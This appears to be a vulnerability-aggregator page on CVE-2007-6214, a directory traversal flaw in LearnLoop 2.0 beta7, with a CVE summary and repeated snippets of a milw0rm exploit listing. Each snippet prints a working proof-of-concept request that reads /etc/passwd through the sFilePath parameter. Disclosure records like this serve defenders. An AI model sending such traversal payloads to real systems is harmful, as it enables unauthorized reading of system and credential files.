EUVD-2007-6182

Malware in sbrugna...

CVE-2007-6214: Improper Limitation of a Pathname to a Restricted Directory

Directory traversal vulnerability in include/filedownload.php in LearnLoop 2.0 beta7 allows remote attackers to read arbitrary files via a .. dot dot in the sFilePath parameter. NOTE: exploitation requires that the product is configured, but has zero files in the database...

learnloop2-disclose.txt

LearnLoop 2.0beta7 sFilePath Remote File Disclosure Vulnerability http://surfnet.dl.sourceforge.net/sourceforge/learnloop/learnloop2.0beta7.tar.gz POC : /include/filedownload.php?sFilePath=../../../../../../../etc/passwd...

LearnLoop 2.0beta7 - sFilePath Remote File Disclosure

LearnLoop 2.0beta7 - sFilePath Remote File Disclosure LearnLoop 2.0beta7 sFilePath Remote File Disclosure Vulnerability http://surfnet.dl.sourceforge.net/sourceforge/learnloop/learnloop2.0beta7.tar.gz POC : /include/filedownload.php?sFilePath=../../../../../../../etc/passwd milw0rm.com 2007-11-29...

LearnLoop 2.0beta7 - 'sFilePath' Remote File Disclosure

LearnLoop 2.0beta7 sFilePath Remote File Disclosure Vulnerability http://surfnet.dl.sourceforge.net/sourceforge/learnloop/learnloop2.0beta7.tar.gz POC : /include/filedownload.php?sFilePath=../../../../../../../etc/passwd milw0rm.com 2007-11-29...